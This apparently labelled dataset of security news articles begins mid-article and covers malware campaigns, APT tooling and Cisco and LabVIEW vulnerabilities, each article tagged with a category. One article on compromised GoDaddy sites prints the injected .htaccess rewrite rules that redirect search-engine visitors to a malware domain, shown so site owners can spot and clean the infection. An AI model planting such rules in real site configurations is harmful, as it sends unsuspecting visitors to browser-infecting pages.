The trio then took two expired certificates that previously had been used to sign both legitimate software and in-the-wild malware and used them to sign each of the five ransomware samples.
Top Antivirus Fail to Detect Malware Signed With Stolen Certificates
When analysing the resulting ten new samples, the researchers found that many anti-virus products failed to detect the malware as malicious.
The top three anti-virus products—nProtect, Tencent, and Paloalto—detected unsigned ransomware samples as malware, but considered eight of out ten crafted samples as benign.
Even popular anti-virus engines from Kaspersky Labs, Microsoft, TrendMicro, Symantec, and Commodo, failed to detect some of the known malicious samples.
Other affected anti-virus packages included CrowdStrike, Fortinet, Avira, Malwarebytes, SentinelOne, Sophos, TrendMicro and Qihoo, among others.
"We believe that this [inability in detecting malware samples] is due to the fact that AVs take digital signatures into account when filter and prioritize the list of files to scan, in order to reduce the overhead imposed on the user's host," the researchers said.
"However, the incorrect implementation of Authenticode signature checks in many AVs gives malware authors the opportunity to evade detection with a simple and inexpensive method."
The researchers said they reported this issue to the affected antivirus companies, and one of them had confirmed that their product fails to check the signatures correctly and they had planned to fix the issue.
The researchers presented their findings at the Computer and Communications Security (CCS) conference in Dallas on Wednesday.
For more detailed information on the research, you can head on to their research paper [PDF] titled "Certified Malware: Measuring Breaches of Trust in the Windows Code-Signing PKI."
| Malware |
North Korean Hackers Using ELECTRICFISH Tunnels to Exfiltrate Data | https://thehackernews.com/2019/05/north-korean-hacking-tool.html | The U.S. Department of Homeland Security (DHS) and the FBI have issued another joint alert about a new piece of malware that the prolific North Korean APT hacking group Hidden Cobra has actively been using in the wild.
Hidden Cobra, also known as Lazarus Group and Guardians of Peace, is believed to be backed by North Korean government and known to launch cyber attacks against media organizations, aerospace, financial and critical infrastructure sectors across the world.
The hacking group was the same associated with the 2017 WannaCry ransomware menace, the 2014 Sony Pictures hack, and the SWIFT Banking attack in 2016.
Now, the DHS and the FBI have uncovered a new malware variant, dubbed ELECTRICFISH, that Hidden Cobra hackers have been using for secretly tunneling traffic out of compromised computer systems.
The malware implements a custom protocol configured with a proxy server/port and proxy username and password, allowing hackers to bypass the compromised system's required authentication to reach outside of the network.
The ElectricFish malware is a command-line utility whose primary purpose is to quickly funnel traffic between two IP addresses.
The malware allows Hidden Cobra hackers to configure with a proxy server/port and proxy username and password, making it possible to connect to a system sitting inside of a proxy server, which allows the attackers to bypass the infected system's required authentication.
"It will attempt to establish TCP sessions with the source IP address and the destination IP address. If a connection is made to both the source and destination IPs, this malicious utility will implement a custom protocol, which will allow traffic to rapidly and efficiently be funneled between two machines," the alert reads.
"If necessary, the malware can authenticate with a proxy to be able to reach the destination IP address. A configured proxy server is not required for this utility."
Once ElectricFish authenticates with the configured proxy, it immediately attempts to establish a session with the destination IP address, located outside of the victim network and the source IP address. The attack would use command prompts to specify the source and destination for tunneling traffic.
Though the US-CERT website doesn't state whether or if yes, which US organizations have already been infected with this new malware, the joint malware analysis report (MAR) does say that the alert has been issued "to enable network defense and reduce exposure to North Korean government malicious cyber activity."
This is not the very first time the DHS and the FBI have issued a joint alert to warn users and organizations about the Hidden Cobra malware.
Late last year, the U.S. departments warned about the FastCash malware that Hidden Cobra had been using since 2016 to compromise payment switch application servers in banks in Africa and Asia in an attempt to cash out bank ATMs.
Little less than a year ago, the DHS and the FBI also published an advisory alerting users of two different malware—a fully functional Remote Access Trojan (RAT) known as Joanap and a Server Message Block (SMB) worm called Brambul—linked to Hidden Cobra.
In 2017, the US-CERT also issued an alert detailing Hidden Cobra malware called Delta Charlie—a DDoS tool that they believed the North Korean hackers use to launch distributed denial-of-service attacks against its targets.
| Cyber_Attack |
Israeli Power Grid Authority Suffers Massive Cyber Attack | https://thehackernews.com/2016/01/power-grid-cyberattack.html | The country which built a Digital Iron Dome, Israel had undergone one of the largest serious cyber attack this year.
This time, the name of Israel is being popped up in the current headlines is for the massive cyber attack which triggered against the Nation's Electrical Power Grid Authority's Network.
"Yesterday we identified one of the largest cyber attacks that we have experienced," Energy Minister Yuval Steinitz confirmed at the CyberTech 2016 Conference at the Tel Aviv Trade Fair and Convention Center on Tuesday, according to an article published by The Times of Israel.
"The virus was already identified and the right software was already prepared to neutralize it," Steinitz added. "We'd to paralyze many of the computers of the Israeli Electricity Authority. We are handling the situation and I hope that soon, this very serious event will be over...but as of now, computer systems are still not working as they should."
Severe Cyber Attack on Israel Electricity Infrastructure
The 'severe' attack occurred earliest this week, as Israel is currently undergoing record-breaking electricity consumption for last two days with a demand of 12,610 Megawatts due to the freezing temperature, confirmed by Israel Electric Corporation.
However, the officials did not comment upon the perpetrators as they do not suspect any currently, but they did tell Israeli newspaper Haaretz that '[they] are going to solve this problem in the coming hours.'
In Mid-July 2015, the Israel's National Cyber Bureau had already warned about the computer-based hacking attacks, which shut down portions of the country's electricity grid.
The identity of the suspects behind this attack has not been known, neither the energy ministry provides any details about how the attack was carried out.
However, a spokesperson for Israel's Electricity Authority confirmed some of its computer systems had been shut down for two days due to the cyber attack.
Previous Known Cyber Attacks on SCADA Systems
Israel had been the continual victim for many of the cyber attacks previously like OpIsrael (a coordinated attack by anti-Israeli Groups & Palestinians), which was conducted on 7th April 2013, on the eve of Holocaust Remembrance Day with the goal of "Erase Israel from Internet."
Another attack on the Israeli Civilian communication was carried out by Iran & Hezbollah Group last year.
In response to these attacks, Israel had broadened their skills to combat cyber war and become a center for cybersecurity, R&D Labs with multinationals from the US, Europe, and Asia. Israeli Cyber Security firms claimed to export $3 Billion last year.
A similar incident of power outbreak took place a couple of months back in Ukraine on 23rd December, when the country's SCADA system was hit with a trojan named BlackEnergy that resulted in the total power cut across the region named Ivano-Frankivsk of Ukraine.
This Article has been written by our editorial intern. Special Thanks to Rakesh Krishnan for covering this article.
| Cyber_Attack |
Critical flaw leaves thousands of Cisco Switches vulnerable to remote hacking | https://thehackernews.com/2018/04/cisco-switches-hacking.html | Security researchers at Embedi have disclosed a critical vulnerability in Cisco IOS Software and Cisco IOS XE Software that could allow an unauthenticated, remote attacker to execute arbitrary code, take full control over the vulnerable network equipment and intercept traffic.
The stack-based buffer overflow vulnerability (CVE-2018-0171) resides due to improper validation of packet data in Smart Install Client, a plug-and-play configuration and image-management feature that helps administrators to deploy (client) network switches easily.
Embedi has published technical details and Proof-of-Concept (PoC) code after Cisco today released patch updates to address this remote code execution vulnerability, which has been given a base Common Vulnerability Scoring System (CVSS) score of 9.8 (critical).
Researchers found a total of 8.5 million devices with the vulnerable port open on the Internet, leaving approximately 250,000 unpatched devices open to hackers.
To exploit this vulnerability, an attacker needs to send a crafted Smart Install message to an affected device on TCP port 4786, which is opened by default.
"To be more precise, the buffer overflow takes place in the function smi_ibc_handle_ibd_init_discovery_msg" and "because the size of the data copied to a fixed-size buffer is not checked, the size and data are taken directly from the network packet and are controlled by an attacker," Cisco explain in its advisory.
The vulnerability can also result in a denial-of-service condition (watchdog crash) by triggering indefinite loop on the affected devices.
Researchers demonstrated the vulnerability at a conference in Hong Kong after reporting it to Cisco in May 2017.
Video Demonstrations of the Attack:
In their first demonstration, as shown in the video below, researchers targeted Cisco Catalyst 2960 switch to reset/change the password and entered privileged EXEC mode:
In their second demo, researchers exploited the flaw to successfully intercept the traffic between other devices connected to the vulnerable switch and the Internet.
Affected Hardware and Software:
The vulnerability was tested on Catalyst 4500 Supervisor Engines, Cisco Catalyst 3850 Series Switches, and Cisco Catalyst 2960 Series Switches devices, as well as all devices that fall into the Smart Install Client type are potentially vulnerable, including:
Catalyst 4500 Supervisor Engines
Catalyst 3850 Series
Catalyst 3750 Series
Catalyst 3650 Series
Catalyst 3560 Series
Catalyst 2960 Series
Catalyst 2975 Series
IE 2000
IE 3000
IE 3010
IE 4000
IE 4010
IE 5000
SM-ES2 SKUs
SM-ES3 SKUs
NME-16ES-1G-P
SM-X-ES3 SKUs
Cisco fixed the vulnerability in all of its affected products on 28th March 2018, and Embedi published a blog post detailing the vulnerability on 29th March. So, administrators are highly recommended to install free software updates to address the issue as soon as possible.
| Vulnerability |
Hackers stole money from European ATMs using Malware-loaded USB Device | https://thehackernews.com/2014/01/hacking-ATM-machine-Malware-USB-Drive.html | Hacking ATM Machines is nothing new, but it seems that instead of relying on ATM skimmers now some smart hackers in Europe are reportedly targeting ATM Machines using Malware-loaded USB drives to steal money.
Most of the world's ATMs are running on Windows XP operating system, which is highly vulnerable to Malware attacks. Just like your Desktop Laptops, some ATMs also have USB sockets, which is hidden behind the ATM's fascia.
The German security researchers who discovered the hack detailed their findings at the Chaos Computing Congress in Hamburg, Germany recently. They said that the thieves cut holes in the fascia to access a USB port and then uploaded malware to the machines.
The malware creates a backdoor that can be accessed on the front panel. "These researchers explained that the malware allowed the thieves to create a unique interface on the ATMs by typing in a 12-digit code. This interface allowed for withdrawal and also showed the criminals the amount of money and each bill denomination inside the machines. This meant the thieves could save time by only taking the highest value bills." Dara Kerr from CNET news reported.
Once the thieves finished their theft at a cash machine, they would patch up the hole to allow the same exploit to be used on other machines. This indicates that the criminal crew is highly familiar with the ATMs mechanism.
The malware does not appear to harvest customer PINs or other sensitive data and now some banks have upgraded their ATMs to prevent them from booting from external USB drives.
| Malware |
Pre-Installed Malware Dropper Found On German Gigaset Android Phones | https://thehackernews.com/2021/04/pre-installed-malware-dropper-found-on.html | In what appears to be a fresh twist in Android malware, users of Gigaset mobile devices are encountering unwanted apps that are being downloaded and installed through a pre-installed system update app.
"The culprit installing these malware apps is the Update app, package name com.redstone.ota.ui, which is a pre-installed system app," Malwarebytes researcher Nathan Collier said. "This app is not only the mobile device's system updater, but also an auto installer known as Android/PUP.Riskware.Autoins.Redstone."
The development was first reported by German author and blogger Günter Born last week.
While the issue seems to be mainly affecting Gigaset phones, devices from a handful of other manufacturers appear to be impacted as well. The full list of devices that come with the pre-installed auto-installer includes Gigaset GS270, Gigaset GS160, Siemens GS270, Siemens GS160, Alps P40pro, and Alps S20pro+.
According to Malwarebytes, the Update app installs three different versions of a trojan ("Trojan.Downloader.Agent.WAGD") that's capable of sending SMS and WhatsApp messages, redirecting users to malicious game websites, and downloading additional malware-laced apps.
"The malicious WhatsApp messages are most likely in order to further spread the infection to other mobile devices," Collier noted.
Users have also reported experiencing a second separate strain of malware called "Trojan.SMS.Agent.YHN4" on their mobile devices after landing on gaming websites redirected by the aforementioned WAGD trojan, which mirrors the latter's SMS and WhatsApp messaging functionality to propagate the malware.
Unlike third-party apps downloaded from the Google Play Store, system apps cannot be easily removed from mobile devices without resorting to tools like Android Debug Bridge (ADB).
For its part, Gigaset confirmed the malware attack, stating that an update server used by the devices to fetch software updates was compromised and that only devices that relied on that specific update server were affected. The company has since fixed the issue and is expected to push an update to remove the malware from infected phones, according to Born.
The development comes a week after cybersecurity researchers revealed a new Android malware that was found to pilfer users' photos, videos, and GPS locations by sending a fraudulent notification posing as a "System Update" that is "Searching for update."
When reached for a response, Gigaset said it's investigating the software supply chain incident, adding "we are working closely with IT forensic experts and the relevant authorities. We will inform the affected users as quickly as possible and provide information on how to resolve the problem."
"It is also important to mention at this point that, according to current knowledge, the incident only affects older devices. We currently assume that the devices GS110, GS185, GS190, GS195, GS195LS, GS280, GS290, GX290, GX290plus, GX290 PRO, GS3 and GS4 are not affected," it noted.
| Malware |
FIN11 Hackers Spotted Using New Techniques In Ransomware Attacks | https://thehackernews.com/2020/10/fin11-hackers-spotted-using-new.html | A financially-motivated threat actor known for its malware distribution campaigns has evolved its tactics to focus on ransomware and extortion.
According to FireEye's Mandiant threat intelligence team, the collective — known as FIN11 — has engaged in a pattern of cybercrime campaigns at least since 2016 that involves monetizing their access to organizations' networks, in addition to deploying point-of-sale (POS) malware targeting financial, retail, restaurant, and pharmaceutical sectors.
"Recent FIN11 intrusions have most commonly led to data theft, extortion and the disruption of victim networks via the distribution of CLOP ransomware," Mandiant said.
Although FIN11's activities in the past have been tied to malware such as FlawedAmmyy, FRIENDSPEAK, and MIXLABEL, Mandiant notes significant overlap in TTPs with another threat group that cybersecurity researchers call TA505, which is behind the infamous Dridex banking Trojan and Locky ransomware that's delivered through malspam campaigns via the Necurs botnet.
It's worth pointing that Microsoft orchestrated the takedown of the Necurs botnet earlier this March in an attempt to prevent the operators from registering new domains to execute further attacks in the future.
High-Volume Malspam Campaigns
FIN11, in addition to leveraging a high-volume malicious email distribution mechanism, has expanded its targeting to native language lures coupled with manipulated email sender information, such as spoofed email display names and email sender addresses, to make the messages appear more legitimate, with a strong bent towards attacking German organizations in their 2020 campaigns.
For instance, the adversary triggered an email campaign with email subjects such as "research report N-[five-digit number]" and "laboratory accident" in January 2020, followed by a second wave in March using phishing emails with the subject line "[pharmaceutical company name] 2020 YTD billing spreadsheet."
"FIN11's high-volume email distribution campaigns have continually evolved throughout the group's history," Andy Moore, senior technical analyst at Mandiant Threat Intelligence, told The Hacker News via email.
"Although we have not independently verified the connection, there is substantial public reporting to suggest that until sometime in 2018, FIN11 relied heavily on the Necurs botnet for malware distribution. Notably, observed downtime of the Necurs botnet has directly corresponded to lulls in the activity we attribute to FIN11."
Indeed, as per Mandiant's research, FIN11's operations appear to have ceased entirely from mid-March 2020 through late May 2020, before picking up again in June via phishing emails containing malicious HTML attachments to deliver malicious Microsoft Office files.
The Office files, in turn, made use of macros to fetch the MINEDOOR dropper and the FRIENDSPEAK downloader, which then dispatched the MIXLABEL backdoor on the infected device.
A Shift to Hybrid Extortion
In recent months, however, FIN11's monetization efforts have resulted in a number of organizations infected by CLOP ransomware, in addition to resorting to hybrid extortion attacks — combining ransomware with data theft — in a bid to force businesses into acquiescing to extortion payments that range from a few hundred thousand dollars up to 10 million dollars.
"FIN11's monetization of intrusions via ransomware and extortion follows a broader trend among financially motivated actors," Moore said.
"Monetization strategies that have been more common historically, such as the deployment of point-of-sale malware, limit criminals to targeting victims in certain industries, whereas ransomware distribution can allow actors to profit from an intrusion into the network of nearly any organization.
That flexibility, in combination with increasingly frequent reports of ballooning ransom payments, makes it an extremely attractive scheme for financially motivated actors," he added.
What's more, FIN11 is purported to have made use of a wide variety of tools (e.g., FORKBEARD, SPOONBEARD, and MINEDOOR) purchased from underground forums, thereby making attribution difficult or accidentally conflating activities of two disparate groups based on similar TTPs or indicators of compromise.
An Actor of Likely CIS Origin
As for the roots of FIN11, Mandiant stated with "moderate confidence" that the group operates out of the Commonwealth of Independent States (CIS) owing to the presence of Russian-language file metadata, avoidance of CLOP deployments in CIS countries, and the dramatic fall in activity coinciding the Russian New Year and Orthodox Christmas holiday period between January 1-8.
"Barring some sort of disruption to their operations, it is highly likely that FIN11 will continue to attack organizations with an aim to deploy ransomware and steal data to be used for extortion," Moore said.
"As the group has regularly updated their TTPs to evade detections and increase the effectiveness of their campaigns, it is also likely that these incremental changes will continue. Despite these changes, however, recent FIN11 campaigns have consistently relied on the use of macros embedded in malicious Office documents to deliver their payloads."
"Along with other security best practices, organizations can minimize the risk of being compromised by FIN11 by training users to identify phishing emails, disabling Office macros, and implementing detections for the FRIENDSPEAK downloader."
| Malware |
GoDaddy websites Compromised with Malware | https://thehackernews.com/2011/09/godaddy-websites-compromised-with.html | GoDaddy websites Compromised with Malware
Many sites hosted on GoDaddy shared servers getting compromised today with a conditional redirection to sokoloperkovuskeci.com.In all 445 cases the .htaccess file (a main Apache web server configuration file) was modified to redirect users to a malware site when they were referred by one of a list of search engines. These redirections attacks are very common on outdated WordPress and Joomla sites, but this time (and for this specific malicious domain), we are only seeing them on GoDaddy hosted sites. So it looks like a compromise on their own servers (similar to what has happened in the past).
This is caused by this entry that is added to the .htaccess file of the compromised sites:
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* https://sokoloperkovuskeci.com/in.php?g=916 [R,L]
The malware checks if anyone visiting the infected site is coming from a Google search (or Yahoo, or Bing) and if they are, redirects them to that domain (sokoloperkovuskeci.com). In there, the user gets redirected again to other locations to get their browsers infected too. So you have to fix your site asap to protect your own users. GoDaddy says they are working with customers to resolve the issue, but if you have a GoDaddy account you should check on this, minimally by Googling for your site and following the link (only if your browser is all patched up and you have sufficient other protections).DomainNameWire also smartly recommends that you check with Google, other search engines and security companies to make sure you haven't been blacklisted.
| Malware |
This 20-year-old Student Has Written 100 Malware Programs in Two Years | https://thehackernews.com/2015/07/student-hacker.html | Security firm Trend Micro has identified a 20-year-old Brazilian college student responsible for developing and distributing over 100 Banking Trojans selling each for around US$300.
Known online as 'Lordfenix', 'Hacker's Son' and 'Filho de Hacker', the computer science student first began his career by posting in forums, asking for programming help for a Trojan he was developing, researchers said.
Developed More than 100 Trojans
However, Lordfenix has "grown quite confident in his skills" and began developing and distributing malware tailored to pilfer financial information since at least 2013.
"Based on our research, Lordfenix has created more than 100 different banking Trojans, not including his other malicious tools, since April 2013," Trend Micro says. "With each Trojan costing around R$1,000 (roughly $320), this young cybercriminal channeled his talent in programming into a lucrative, illegal venture."
Trend Micro has also provided an image of the hacker's Facebook wall post (given below) in which the hacker shows a considerable amount of local currency.
Hacker is Offering Free Versions of Banking Trojans
In order to expand his operation, Lordfenix has now begun offering free versions of fully-functional Banking Trojan source code other wanna-be cyber criminals on the underground forum.
The free versions of the Trojan can be used to steal login details from customers of four different Brazilian banking websites including HSBC Brazil, Bank of Brazil, and Caixa. For access to other financial institutions, 'clients' have to pay for a more powerful tool, TSPY_BANKER.NJH.
TSPY_BANKER.NJH is a Trojan capable to identify when a user enters any of a target bank's URLs into their browser. The malware then shuts down the browser window (if it is running on Google Chrome), displays an error message, and then opens a fake Chrome window.
Once the victim enters the login details into the fake window, the information is sent back to the attackers address via email.
As an extra precaution, Lordfenix's malware also includes a software program to terminate a security process called GbpSV.exe, which is used by large number of Brazilian banks in an effort to keep their online customer data secure.
Malware Threat to Online Banking is Growing rapidly and countries like Brazil, where almost half of all financial transactions are conducted online, have come up as a boon for hackers.
| Malware |
Hacking Fiverr.com Accounts — Vulnerability Puts $50 Million Company At Risk | https://thehackernews.com/2014/08/hacking-fiverrcom-accounts_16.html | Fiverr.com, a global online marketplace which provides a platform for people to sell their services for five dollars per job, is vulnerable to a critical web application vulnerability that puts its millions of users at risk.
Fiverr recently raised $30 million in a third round of institutional funding to continue supporting the new version of its marketplace, but the company ignored the advance warning of the critical bug reported responsibly by a vulnerability hunter and fails to patch up their website before his public release.
There are endless numbers of people providing services on Fiverr website, such as graphic design, language translation, illustration, blogging and a lot more that start from just $5 but can go much higher, depending on complexity, seller rating, and type of work.
According to a security researcher Mohamed Abdelbaset, an Information Security Evangelist from Egypt, told The Hacker News that Fiverr website is vulnerable to CSRF (Cross-site request forgery) vulnerability that allows him to compromise any user account easily.
Cross-Site Request Forgery (CSRF) is a method of attacking a Web site in which an intruder masquerades as a legitimate and trusted user. All the attacker need to do is get the target browser to make a request to your website on their behalf. If they can either:
Convince your users to click on a HTML page they've constructed
Insert arbitrary HTML in a target website that your users visit
Not too difficult, is it?
In this case, an attacker only needs to know the Fiverr profile link of the victim in order to exploit the vulnerability. Using which the attacker will craft and host a exploit webpage on his own server, Mohamed said while demonstrating the vulnerability to THN.
If the victim has already logged into his Fiverr account on the same browser, the CSRF vulnerability will silently replace the victim's Fiverr account email with the attacker's email address. Once done, the attacker can take over the victim's account just by changing the account password from "Password reset" option from the website.
The researcher has also provided a video demonstration as a Proof of Concept. The vulnerability is critical and should be fixed as soon as possible.
| Vulnerability |
Scranos: New Rapidly Evolving Rootkit-Enabled Spyware Discovered | https://thehackernews.com/2019/04/scranos-rootkit-spyware.html | A new powerful rootkit-enabled spyware operation has been discovered wherein hackers are distributing multifunctional malware disguised as cracked software or trojanized app posing as legitimate software like video players, drivers and even anti-virus products.
While the rootkit malware—dubbed Scranos—which was first discovered late last year, still appears to be a work in progress, it is continuously evolving, testing new components and regularly making an improvement to old components, which makes it a significant threat.
Scranos features a modular design that has already gained capabilities to steal login credentials and payment accounts from various popular services, exfiltrate browsing history and cookies, get YouTube subscribers, display ads, as well as download and execute any payload.
According to a 48 page in-depth report Bitdefender shared with The Hacker News prior to its release, the malware gains persistence on infected machines by installing a digitally-signed rootkit driver.
Researchers believe attackers obtained the valid digital code-signing certificate fraudulently, which was originally issued to Yun Yu Health Management Consulting (Shanghai) Co., Ltd. and has not been revoked at the time of writing.
"The rootkit registers a Shutdown callback to achieve persistence. At shutdown, the driver is written to disk, and a start-up service key is created in the Registry," the researchers say.
Upon infection, the rootkit malware injects a downloader into a legitimate process which then communicates with the attacker-controlled Command-and-Control (C&C) server and downloads one or more payloads.
Here we have listed a few data and password-stealing payloads:
Password and Browsing History Stealing Payload — The main dropper steals browser cookies and login credentials from Google Chrome, Chromium, Mozilla Firefox, Opera, Microsoft Edge, Internet Explorer, Baidu Browser and Yandex. It can also steal cookies and login info from victims' accounts on Facebook, YouTube, Amazon, and Airbnb.
Extension Installer Payload — This payload installs adware extensions in Chrome and injects malicious or malware-laden ads on all webpages users visit. A few samples also found installing fake browser extensions, such as Chrome Filter, Fierce-tips and PDF Maker.
Steam Data Stealer Payload — This component steals and sends victims' Steam account credentials and information, including the list of installed apps and games, as well as hardcoded version, to the attacker's server.
Malware Interacts with Facebook and YouTube on Victims' Behalf
Some other payloads can even interact with various websites on the victim's behalf, such as:
YouTube subscriber payload — This payload manipulates YouTube pages by running Chrome in debugging mode, instructing the browser to take various actions on a webpage like starting a video, muting a video, subscribing to a channel, and clicking ads.
Facebook Spammer Payload — Using collected cookies and other tokens, attackers can command malware to send Facebook friend requests to other users. It can also send private messages to the victim's Facebook friends with links to malicious Android APKs.
Android Adware App — Disguised as the legitimate "Accurate scanning of QR code" app available on Google Play Store, the malware app aggressively displays ads, tracks infected victims and uses same C&C server as the Windows malware.
Scranos Steals Payment Information from Popular Websites
Here's the list of DLLs contained in the main dropper:
Facebook DLL — This DLL extracts information about the user Facebook accounts including their payment accounts, their list of friends, and if they are an administrator of a page.
Amazon DLL — This DLL extracts information from the user's Amazon account. Researchers even found a version of this DLL that has been designed to extract information from logged-in Airbnb accounts.
According to the telemetry gathered by Bitdefender researchers, Scranos is targeting users worldwide, but "it seems more prevalent in India, Romania, Brazil, France, Italy, and Indonesia."
The oldest sample of this malware traced back to November 2018, with a massive spike in December and January, but in March 2019, Scranos was started pushing other strains of malware, which researchers say is "a clear indicator that the network is now affiliated with third parties in pay-per install schemes."
| Cyber_Attack |
Hackers Infecting Apple App Developers With Trojanized Xcode Projects | https://thehackernews.com/2021/03/hackers-infecting-apple-app-developers.html | Cybersecurity researchers on Thursday disclosed a new attack wherein threat actors are leveraging Xcode as an attack vector to compromise Apple platform developers with a backdoor, adding to a growing trend that involves targeting developers and researchers with malicious attacks.
Dubbed "XcodeSpy," the trojanized Xcode project is a tainted version of a legitimate, open-source project available on GitHub called TabBarInteraction that's used by developers to animate iOS tab bars based on user interaction.
"XcodeSpy is a malicious Xcode project that installs a custom variant of the EggShell backdoor on the developer's macOS computer along with a persistence mechanism," SentinelOne researchers said.
Xcode is Apple's integrated development environment (IDE) for macOS, used to develop software for macOS, iOS, iPadOS, watchOS, and tvOS.
Earlier this year, Google's Threat Analysis group uncovered a North Korean campaign aimed at security researchers and exploit developers, which entailed the sharing of a Visual Studio project designed to load a malicious DLL on Windows systems.
The doctored Xcode project does something similar, only this time the attacks have singled out Apple developers.
Besides including the original code, XcodeSpy also contains an obfuscated Run Script that's executed when the developer's build target is launched. The script then contacts an attacker-controlled server to retrieve a custom variant of the EggShell backdoor on the development machine, which comes with capabilities to record information from the victim's microphone, camera, and keyboard.
"XcodeSpy takes advantage of a built-in feature of Apple's IDE which allows developers to run a custom shell script on launching an instance of their target application," the researchers said. "While the technique is easy to identify if looked for, new or inexperienced developers who are not aware of the Run Script feature are particularly at risk since there is no indication in the console or debugger to indicate execution of the malicious script."
SentinelOne said it identified two variants of the EggShell payload, with the samples uploaded to VirusTotal from Japan on August 5 and October 13 last year. Additional clues point to one unnamed U.S. organization that's said to have been targeted using this campaign between July and October 2020, with other developers in Asia likely to be targeted as well.
Adversaries have previously resorted to tainted Xcode executables (aka XCodeGhost) to inject malicious code into iOS apps compiled with the infected Xcode without the developers' knowledge, and subsequently use the infected apps to collect information from the devices once they are downloaded and installed from the App Store.
Then in August 2020, researchers from Trend Micro unearth a similar threat that spread via modified Xcode projects, which, upon building, were configured to install a mac malware called XCSSET to steal credentials, capture screenshots, sensitive data from messaging and note taking apps, and even encrypt files for a ransom.
Like XCSSET, XcodeSpy takes an easier route, since the goal appears to be to strike the developers themselves, although the ultimate objective behind the exploitation and the identity of the group behind it remains unclear as yet.
"Targeting software developers is the first step in a successful supply chain attack. One way to do so is to abuse the very development tools necessary to carry out this work," the researchers said.
"It is entirely possible that XcodeSpy may have been targeted at a particular developer or group of developers, but there are other potential scenarios with such high-value victims. Attackers could simply be trawling for interesting targets and gathering data for future campaigns, or they could be attempting to gather AppleID credentials for use in other campaigns that use malware with valid Apple Developer code signatures."
| Malware |
5 High Impact Flaws Affect Cisco Routers, Switches, IP Phones and Cameras | https://thehackernews.com/2020/02/cisco-cdp-vulnerabilities.html | Several Cisco-manufactured network equipments have been found vulnerable to five new security vulnerabilities that could allow hackers to take complete control over them, and subsequently, over the enterprise networks they power.
Four of the five high-severity bugs are remote code execution issues affecting Cisco routers, switches, and IP cameras, whereas the fifth vulnerability is a denial-of-service issue affecting Cisco IP phones.
Collectively dubbed 'CDPwn,' the reported vulnerabilities reside in the various implementations of the Cisco Discovery Protocol (CDP) that comes enabled by default on virtually all Cisco devices and can not be turned OFF.
Cisco Discovery Protocol (CDP) is an administrative protocol that works at Layer 2 of the Internet Protocol (IP) stack. The protocol has been designed to let devices discover information about other locally attached Cisco equipment in the same network.
According to a report Armis research team shared with The Hacker News, the underlying CDP implementations contain buffer overflow and format string vulnerabilities that could let remote attackers on the same network execute arbitrary code on the vulnerable devices by sending malicious unauthenticated CDP packets.
The list of CDPwn Cisco vulnerabilities affecting tens of millions of devices widely deployed in enterprise networks is as follow:
Cisco NX-OS Stack Overflow in the Power Request TLV (CVE-2020-3119)
Cisco IOS XR Format String vulnerability in multiple TLVs (CVE-2020-3118)
Cisco IP Phones Stack Overflow in PortID TLV (CVE-2020-3111)
Cisco IP Cameras Heap Overflow in DeviceID TLV (CVE-2020-3110)
Cisco FXOS, IOS XR, and NX-OS Resource Exhaustion in the Addresses TLV (CVE-2020-3120)
To be noted, since CDP is a Data Link layer 2 protocol that can't cross the boundaries of a local area network, an attacker first needs to be on the same network to leverage CDPwn vulnerabilities.
However, after gaining an initial foothold in a targeted network using separate vulnerabilities, attackers can exploit CDPwn against network switches to break network segmentation and move laterally across the corporate networks to other sensitive systems and data.
"Gaining control over the switch is useful in other ways. For example, the switch is in a prime position to eavesdrop on network traffic that traverses through the switch, and it can even be used to launch man-in-the-middle attacks on the traffic of devices that traverses through the switch," the researchers said.
"An attacker can look to move laterally across segments and gain access to valuable devices like IP phones or cameras. Unlike switches, these devices hold sensitive data directly, and the reason to take them over can be a goal of an attacker, and not merely a way to break out of segmentation."
Additionally, CDPwn flaws also allow attackers to:
Eavesdrop on voice and video data/calls and video feed from IP phones and cameras, capture sensitive conversations or images.
Exfiltrate sensitive corporate data flowing through the corporate network's switches and routers.
Compromise additional devices by leveraging man-in-the-middle attacks to intercept and alter traffic on the corporate switch.
Besides releasing a detailed technical report on the issues, the Armis research team has also shared videos of explanation and demonstration of the flaws, as embedded above.
After closely working with Armis researchers over the last few months to develop security patches, Cisco today released software updates for all of its affected products.
Though Cisco has also provided some mitigation information, affected administrators are still highly recommended to install the latest software updates to completely protect their valuable networks against malware and emerging online threats.
| Vulnerability |
Using LabVIEW? Unpatched Flaw Allows Hackers to Hijack Your Computer | https://thehackernews.com/2017/08/hacking-labview-vi-file.html | If you're an engineer and use LabVIEW software to design machines or industrial equipments, you should be very suspicious while opening any VI (virtual instrument) file.
LabVIEW, developed by American company National Instruments, is a visual programming language and powerful system-design tool that is being used worldwide in hundreds of fields and provides engineers with a simple environment to build measurement or control systems
Security researchers from Cisco's Talos Security Intelligence have discovered a critical vulnerability in LabVIEW software that could allow attackers to execute malicious code on a target computer, giving them full control of the system.
Identified as CVE-2017-2779, the code execution vulnerability could be triggered by opening a specially crafted VI file, a proprietary file format used by LabVIEW.
The vulnerability originates because of memory corruption issue in the RSRC segment parsing functionality of LabVIEW.
Modulating the values within the RSRC segment of a VI file causes a controlled looping condition, which results in an arbitrary null write.
"A specially crafted LabVIEW virtual instrument file (with the *.vi extension) can cause an attacker controlled looping condition resulting in an arbitrary null write," Talos researchers explain.
"An attacker controlled VI file can be used to trigger this vulnerability and can potentially result in code execution."
Talos researchers have successfully tested the vulnerability on LabVIEW 2016 version 16.0, but National Instruments has refused to consider this issue as a vulnerability in their product and had no plans to release any patch to address the flaw.
However, the issue should not be ignored, because the threat vector is almost similar to many previously disclosed Microsoft Office vulnerabilities, in which victims got compromised after opening malicious MS Word file received via an email or downloaded from the Internet.
"The consequences of a successful compromise of a system that interacts with the physical world, such as a data acquisition and control systems, may be critical to safety," the researchers write.
"Organisations that deploy such systems, even as pilot projects, should be aware of the risk posed by vulnerabilities such as these and adequately protect systems."
Since there is no patch available, the LabVIEW users are left with only one option—be very careful while opening any VI file you receive via an email.
For more technical details about the vulnerability, you can head on to Cisco Talos' advisory.
| Malware |
